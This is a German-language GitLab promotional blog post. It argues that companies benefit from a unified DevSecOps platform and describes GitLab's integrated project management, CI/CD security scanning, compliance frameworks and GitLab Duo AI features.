Forrester spricht keine Empfehlung für Unternehmen, Produkte, Marken oder Dienstleistungen aus, die in seinen Forschungspublikationen vorkommen, und rät niemandem, sich auf der Grundlage der in diesen Publikationen aufgeführten Bewertungen für die Produkte oder Dienstleistungen eines Unternehmens oder einer Marke zu entscheiden. Die Informationen basieren auf den besten verfügbaren Ressourcen. Die Meinungen spiegeln die jeweils aktuelle Einschätzung wider und können sich ändern. Weitere Informationen zur Objektivität von Forrester (in englischer Sprache) findest du hier.

Warum steigen Unternehmen auf eine einheitliche DevSecOps-Plattform um?

2025-06-02T00:00:00.000Z

In der modernen Softwareentwicklung von heute migrieren viele Unternehmen in die Cloud und führen DevSecOps-Prozesse ein. Durch die Vielzahl von Tools und Legacy-Systemen, die nicht für die moderne Entwicklung ausgelegt sind, stellt diese Umstellung jedoch eine große Herausforderung dar.

Um diese Systeme an DevSecOps anzupassen, müssen Unternehmen mehrere Tools für Aufgabenmanagement, CI/CD, Sicherheit, Überwachung und vieles mehr miteinander verknüpfen. Das Ergebnis? Komplexe Betriebsabläufe, hohe Wartungskosten und eine erschwerte Zusammenarbeit zwischen Entwicklungs- und Betriebsteams. Darüber hinaus sind Entwickler(innen) frustriert, da sie ständig zwischen verschiedenen Tools wechseln müssen, um einen einzigen Flow – von der Planung bis zur Produktion – abzuschließen.

Wie komplex es sein kann, mehrere Tools in einen DevSecOps-Prozess zu integrieren

Die gute Nachricht ist, es gibt eine Lösung: Eine umfassende DevSecOps-Plattform, die einen einheitlichen Ansatz für die Softwareentwicklung bietet.

Diese Plattformen sind für Unternehmen konzipiert, die in cloudbasierten und DevSecOps-Umgebungen arbeiten. Sie konsolidieren alle Phasen der Softwareentwicklung – von der Codeverwaltung, über CI/CD-Prozesse, Aufgabenmanagement und Sicherheit bis hin zur KI-gestützten Automatisierung – auf einer einzigen Plattform. Die Zentralisierung aller Softwareentwicklungs-Workflows in einer einheitlichen Oberfläche ermöglicht es den Entwicklungs- und Betriebsteams, effizienter zu arbeiten, die Kommunikation zu vereinfachen und die Komplexität der Vorgänge und Störungen zu minimieren.

Darüber hinaus verbessert sich die Entwicklererfahrung erheblich – sie arbeiten viel lieber mit einem Produkt, das speziell für moderne Entwicklungsanforderungen konzipiert wurde.

In den folgenden Abschnitten erfahren wir, wie GitLab Teams bei der Bewältigung gängiger Herausforderungen hilft – sei es bei der Verwaltung von Projekten und Aufgaben, der Gewährleistung von Sicherheit und Compliance oder der Einführung von KI-basierten Entwicklungstools – und das alles auf einer einzigen, einheitlichen Plattform.

Integriertes Agile-Projektmanagement

GitLab bietet eine ganzheitliche Lösung, bei der das Projekt- und Aufgabenmanagement über alle Phasen des Softwareentwicklungszyklus hinweg vollständig integriert ist, wie z. B. CI/CD, wodurch der Entwicklungsfortschritt in Echtzeit verfolgt werden kann. Tickets und Epics sind direkt mit den Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Flow von der Planung bis zur Bereitstellung in der Produktion. Dieser Ansatz erhöht die Transparenz zwischen den Teams, verringert Verzögerungen und stellt sicher, dass alle Beteiligten einen klaren Überblick über den Entwicklungsstatus in Echtzeit haben.

Integrierte Sicherheit

GitLab legt großen Wert auf die Integration von umfassenden Sicherheitsfunktionen („security first“). Die Plattform integriert eine breite Palette automatisierter Sicherheitsscanner, darunter (Dokumentation nur in englischer Sprache verfügbar):

Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind

Diese Sicherheitsprüfungen werden direkt in jede Phase des Softwareentwicklungszyklus eingebaut, einschließlich der CI/CD-Pipeline, um den Entwickler(inne)n schon früh im Entwicklungszyklus ein unmittelbares Feedback zu potenziellen Sicherheitsproblemen zu geben.

Compliance und regulatorische Anforderungen

Neben Effizienz und Benutzerfreundlichkeit müssen viele Unternehmen – insbesondere in regulierten Branchen wie Finanzinstituten oder Großunternehmen – sicherstellen, dass ihre Prozesse strengen Sicherheits- und Compliance-Standards entsprechen. Sie müssen in der Lage sein, Richtlinien für verschiedene Projekte durchzusetzen, z. B. einen Sicherheitsscanner vorzuschreiben, wenn eine CI/CD-Pipeline auf bestimmten Code-Branches (Main- oder geschützte Branches) ausgeführt wird, oder bestimmte Genehmigungen zu verlangen, bevor Code in den Main-Branch zusammengeführt wird.

Mit GitLab wird dies durch Compliance-Frameworks (nur in englischer Sprache verfügbar) erleichtert, eine Funktion, mit der Unternehmen strukturierte Richtlinien für ausgewählte Projekte definieren und durchsetzen können. So wird die Einhaltung automatischer gesetzlicher und sicherheitstechnischer Anforderungen gewährleistet und gleichzeitig ein nahtloser und effizienter Workflow für Entwickler(innen) sichergestellt.

KI-basierte Entwicklung

GitLab Duo unterstützt dich in allen Entwicklungsphasen mit KI, sodass du nicht mehr auf externe Tools zurückgreifen musst. Jede KI-unterstützte Anforderung wird im gesamten Kontext des Projekts und der Codebase bearbeitet, was eine intelligentere und effizientere Arbeit ermöglicht.

Die KI kann zum Beispiel folgende Aufgaben übernehmen:

automatische Erstellung von Aufgabenbeschreibungen
intelligente Zusammenfassung von Diskussionen zu Tickets, was Entwickler(inne)n wertvolle Zeit spart
erweiterte Code-Review-Funktionen
Vorschläge zur Codeverbesserung und -optimierung
automatisierte Testgenerierung
Erkennung und Behebung von Sicherheitslücken
Fehlerbehebung bei der Grundursachenanalyse für CI-Pipeline-Fehler
Datenschutz und Datensicherheit

GitLab kennt die Bedürfnisse von regulierten Unternehmen, insbesondere im öffentlichen und im Finanzsektor, und bietet eine einzigartige Lösung für den Einsatz von KI-Modellen in einer sicheren Umgebung. GitLab Duo Self-Hosted ermöglicht es Unternehmen, die volle Kontrolle über Datenschutz, Sicherheit und die Bereitstellung großer Sprachmodelle (LLMs; nur in englischer Sprache verfügbar) in ihrer eigenen Infrastruktur zu behalten. Dabei wird Folgendes gewährleistet:

Datenschutz
Einhaltung gesetzlicher Anforderungen
maximale Sicherheit
KI-Vorteile ohne externe Netzwerkabhängigkeiten oder -risiken

Zusammenfassung

Unternehmen brauchen eine umfassende DevSecOps-Plattform, um Prozesse zu rationalisieren, die Sicherheit zu verbessern und Innovationen zu beschleunigen. GitLab bietet genau das – eine einzige Anwendung, die alle wichtigen Entwicklungs-, Sicherheits- und Betriebswerkzeuge mit integrierter Sicherheitsintegration und KI-basierter Automatisierung vereint.

Willst du GitLab in Aktion sehen? Entdecke interaktive (englischsprachige) Demos für:

GitLab Premium und Ultimate mit Duo: Erlebe KI-Unterstützung bei der Entwicklung,
Sicherheit in der CI/CD-Pipeline: Sieh dir an, wie integriertes Sicherheitsscanning deine Software schützt.
Compliance-Frameworks: Erfahre, wie GitLab Richtlinien projektübergreifend durchsetzt, um eine bessere Governance zu gewährleisten.

Nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über die Zukunft der DevSecOps-Plattform zu erfahren, einschließlich der Rolle der agentischen KI. Registriere dich noch heute!